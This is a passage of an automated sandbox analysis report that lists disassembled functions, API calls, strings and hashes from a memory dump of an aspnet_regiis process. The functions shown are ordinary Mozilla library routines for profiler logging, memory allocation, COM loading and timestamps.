memset.VCRUNTIME140(?,00000000,00000114), ref: 6C7A1699
VerSetConditionMask.NTDLL ref: 6C7A16CB
VerSetConditionMask.NTDLL ref: 6C7A16D7
VerSetConditionMask.NTDLL ref: 6C7A16DE
VerSetConditionMask.NTDLL ref: 6C7A16E5
VerSetConditionMask.NTDLL ref: 6C7A16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C7A16F9

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 5f37572923854a77d3319968f2cad58b28476abb9f945f76059b2a3092633d5b
Instruction ID: 4d682e7792431eae62bc759a7bf22754e854c4adae424531cd4f4e97912ee507
Opcode Fuzzy Hash: 5f37572923854a77d3319968f2cad58b28476abb9f945f76059b2a3092633d5b
Instruction Fuzzy Hash: 2321D5B0740209AFFB205B688D4AFBB73BCEF96708F404528F6059BA91C6749D54CBE1

Function 6C7DF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C7DF598), ref: 6C7DF621

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

GetCurrentThreadId.KERNEL32 ref: 6C7DF637
AcquireSRWLockExclusive.KERNEL32(6C81F4B8,?,?,00000000,?,6C7DF598), ref: 6C7DF645
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8,?,?,00000000,?,6C7DF598), ref: 6C7DF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C7DF62A

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 25255147dfd668e58bef835ac784677b93baa9921fb113c94b960b97abf3a936
Instruction ID: f82939d8e375473c345f54134cb644ee546eb4ca1b4c2a87e06b5d47fd28e9fa
Opcode Fuzzy Hash: 25255147dfd668e58bef835ac784677b93baa9921fb113c94b960b97abf3a936
Instruction Fuzzy Hash: C011E771204206AFCA14AF59CA4D9E677F9FB9636DF550435EA0683F01CB71B825CBE0

Function 6C7A2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

LoadLibraryW.KERNEL32(combase.dll,6C7A1C5F), ref: 6C7A20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C7A20CD
__Init_thread_footer.LIBCMT ref: 6C7A20E1
FreeLibrary.KERNEL32 ref: 6C7A2124

Strings

combase.dll, xrefs: 6C7A20A9
CoInitializeSecurity, xrefs: 6C7A20C7

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 926399c9aa22c86df1a2985205217fe512502af01d1ca059f430e8d5b30207a3
Instruction ID: c54ef2658641e98d4dca5c15ba2435333a7a1db1b12b6f09b64d344468923517
Opcode Fuzzy Hash: 926399c9aa22c86df1a2985205217fe512502af01d1ca059f430e8d5b30207a3
Instruction Fuzzy Hash: AF21607520010AEFDF21CF96DE4DDDA3BB6FB5A369F104128FA0852A10D73198A2DF91

Function 6C7F76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C7F76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C7F7705

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C7F7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C7F778F,00000000,00000000,00000000,00000000), ref: 6C7F7731
free.MOZGLUE(00000000), ref: 6C7F7760

Strings

}>}l, xrefs: 6C7F76C4

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>}l
API String ID: 2538299546-1215382799
Opcode ID: 2dcbe449f24e508d83549ec3155404fbb6dca8a26566dba9e6b8673bb379bb62
Instruction ID: 3a7213c1ad55d1882cd9f4fa06e83b447a56de76bb54f2d919a3b6d2d2a9631a
Opcode Fuzzy Hash: 2dcbe449f24e508d83549ec3155404fbb6dca8a26566dba9e6b8673bb379bb62
Instruction Fuzzy Hash: EE11C4B1904215ABE710AFBA9D45BABBEE8EF45354F044539F848E7700E7719840C7F2

Function 6C7A1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C7A1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C7A1FFD
__Init_thread_footer.LIBCMT ref: 6C7A2011
FreeLibrary.KERNEL32 ref: 6C7A2059

Strings

CoCreateInstance, xrefs: 6C7A1FF7
combase.dll, xrefs: 6C7A1FD9

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b87a86226aaa10c6de0f5d3e0dbaf48bb131ea223690bc452c10cb94f9b62538
Instruction ID: 62097f6ec0477e7ff79733549442185af35ba66aba79ed77aec580143ccea24a
Opcode Fuzzy Hash: b87a86226aaa10c6de0f5d3e0dbaf48bb131ea223690bc452c10cb94f9b62538
Instruction Fuzzy Hash: D1115CB4205206AFDF30CF56CA4EE963BF9FB56369F004139E90882F40E7309811DBA1

Function 6C7A0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C7CD9F0,00000000), ref: 6C7A0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C7A0F3C
__Init_thread_footer.LIBCMT ref: 6C7A0F50
FreeLibrary.KERNEL32(?,6C7CD9F0,00000000), ref: 6C7A0F86

Strings

combase.dll, xrefs: 6C7A0F18
CoInitializeEx, xrefs: 6C7A0F36

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 26867c3bacff1d485ec6ebd0648fcade2b49c8b37bd3f87c85131c57aac26e4a
Instruction ID: a6c8d85472ef606151e2da7f9766e1ce02771e4fb6e21025a1828335a563efde
Opcode Fuzzy Hash: 26867c3bacff1d485ec6ebd0648fcade2b49c8b37bd3f87c85131c57aac26e4a
Instruction Fuzzy Hash: 16115174705242DBDF20CF94CA0DE9637F5A75A32AF004A39F90AA2F40D730A406CBD5

Function 6C7DF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF561

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

GetCurrentThreadId.KERNEL32 ref: 6C7DF577
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF585
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C7DF3A8
[I %d/%d] profiler_resume, xrefs: 6C7DF239
[I %d/%d] profiler_resume_sampling, xrefs: 6C7DF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C7DF56A

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3b0e8d83d3acf5e463d6a7e995dea7effd087304f98e6fa0f4e969fee69e36f0
Instruction ID: 35d5fa12ad45d0d3bfb7379c82570b6e521646e584cec1c4ab4aed1cb11262ba
Opcode Fuzzy Hash: 3b0e8d83d3acf5e463d6a7e995dea7effd087304f98e6fa0f4e969fee69e36f0
Instruction Fuzzy Hash: 4CF0B4B52002029FDA206B65984EA6B7BFCEB962ADF010435FA0683F02DB715805C7E0

Function 6C7A0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C7A0DF8), ref: 6C7A0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C7A0EA1
__Init_thread_footer.LIBCMT ref: 6C7A0EB5
FreeLibrary.KERNEL32 ref: 6C7A0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C7A0E9B
kernel32.dll, xrefs: 6C7A0E7D

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 954cf48bfb057436b5d4719ec6c4885c32ba13fd3adbe04fcb8e4ef7f53ff2c6
Instruction ID: 9b3bfdaad647476855f657189fbf4c2bd8efc22b23694119d7a61ba60ed8553a
Opcode Fuzzy Hash: 954cf48bfb057436b5d4719ec6c4885c32ba13fd3adbe04fcb8e4ef7f53ff2c6
Instruction Fuzzy Hash: 070128747082C38BDB209FE8DA5AA5233FAE76731DF104E35D90782F60D770A405EA82

Function 6C7DF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C7DF598), ref: 6C7DF621

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

GetCurrentThreadId.KERNEL32 ref: 6C7DF637
AcquireSRWLockExclusive.KERNEL32(6C81F4B8,?,?,00000000,?,6C7DF598), ref: 6C7DF645
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8,?,?,00000000,?,6C7DF598), ref: 6C7DF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C7DF62A

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 55447f3c88d14000ecb80336e7eed6be4bfe256ba8c88633a65356fbd457c479
Instruction ID: 9d236dfc7cd079d21e379f6138c2b3356a651ccbaee0bf2e7e17ff764419db79
Opcode Fuzzy Hash: 55447f3c88d14000ecb80336e7eed6be4bfe256ba8c88633a65356fbd457c479
Instruction Fuzzy Hash: 5EF0B4B5200202AFDA206B65884EA6B7BFCEB962ADF050435FA0583F02CB355C05C7B0

Function 6C7D05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C7CCFAE,?,?,?,6C7931A7), ref: 6C7D05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C7CCFAE,?,?,?,6C7931A7), ref: 6C7D0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C7931A7), ref: 6C7D061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C7931A7), ref: 6C7D0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C7D061B, 6C7D0625
<jemalloc>, xrefs: 6C7D05FA, 6C7D060F

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 95726af5bffbdf5bb56bf757b9e3bc9c319429214b426d64d8b080789c297487
Instruction ID: 544c5d105342aa7708acd5d27da7b526a3c7cad3694f616db662bc29d004cc50
Opcode Fuzzy Hash: 95726af5bffbdf5bb56bf757b9e3bc9c319429214b426d64d8b080789c297487
Instruction Fuzzy Hash: 93E08CE2A1101037F524225AAC87EBB765CDBC6138F09003DFD0D83302E94AAD1A91F7

Function 6C7A05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42d9c792427584e92dc860b167cf6e26af8c896f04cdf1cef5757bdf495bb8e1
Instruction ID: efbbbfc2d614c118ab1b3ce23a30cbb6b192891611d3d32438d1c6d9f71606e4
Opcode Fuzzy Hash: 42d9c792427584e92dc860b167cf6e26af8c896f04cdf1cef5757bdf495bb8e1
Instruction Fuzzy Hash: F8A149B0A00645CFDB24CF69C684B9AFBF1BF49304F448A6ED44A97B01E730A946CF90

Function 6C7F14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7F14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7F14E2
GetCurrentThreadId.KERNEL32 ref: 6C7F1546
InitializeConditionVariable.KERNEL32(?), ref: 6C7F15BA
free.MOZGLUE(?), ref: 6C7F16B4

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: e02bd38c299d1f43c0aada6eb4c09a3a329bfcbae63deb6e528e14e59d03f19b
Instruction ID: d9faa21e540a1adb3c74399d59e3d8f56a5591d111baea9309bbed70fc52008f
Opcode Fuzzy Hash: e02bd38c299d1f43c0aada6eb4c09a3a329bfcbae63deb6e528e14e59d03f19b
Instruction Fuzzy Hash: D361E1B2A007449BDB218F25C988BDEB7B5BF89308F44852CED9A57701DB31E949CBD1

Function 6C7E9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7E9FDB
free.MOZGLUE(?,?), ref: 6C7E9FF0
free.MOZGLUE(?,?), ref: 6C7EA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7EA0BE
free.MOZGLUE(?,?), ref: 6C7EA0D5
free.MOZGLUE(?,?), ref: 6C7EA0EB

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 88bab21e2d60986a3542b3e25119656a149e0d23378747d450f3fbdef93acac3
Instruction ID: cd0431479782f0977582b4867fd0616c6c327f9e3e4b798f033b3157a5c6bb50
Opcode Fuzzy Hash: 88bab21e2d60986a3542b3e25119656a149e0d23378747d450f3fbdef93acac3
Instruction Fuzzy Hash: FC61C1765087019FC752CF18C58059AB7F5FF88328F548669E8999BB02E731E986CBC1

Function 6C7EDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7EDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C7ED38A,?), ref: 6C7EDC6F
free.MOZGLUE(?,?,?,?,?,6C7ED38A,?), ref: 6C7EDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C7ED38A,?), ref: 6C7EDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C7ED38A,?), ref: 6C7EDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C7ED38A,?), ref: 6C7EDD4A

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 40fb21649571bad7aa7970b8c0075c3a679bb02ef5248d9f76feabbe590f02d7
Instruction ID: acb37783bb6fe1a43968c2205bb41e2f379fa7848263e0c5302a345f40a594af
Opcode Fuzzy Hash: 40fb21649571bad7aa7970b8c0075c3a679bb02ef5248d9f76feabbe590f02d7
Instruction Fuzzy Hash: D6419CB6A00216CFCB40CF99C9859AABBF6FF8C318B154469D905ABB20D771FC00CB90

Function 6C7D6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

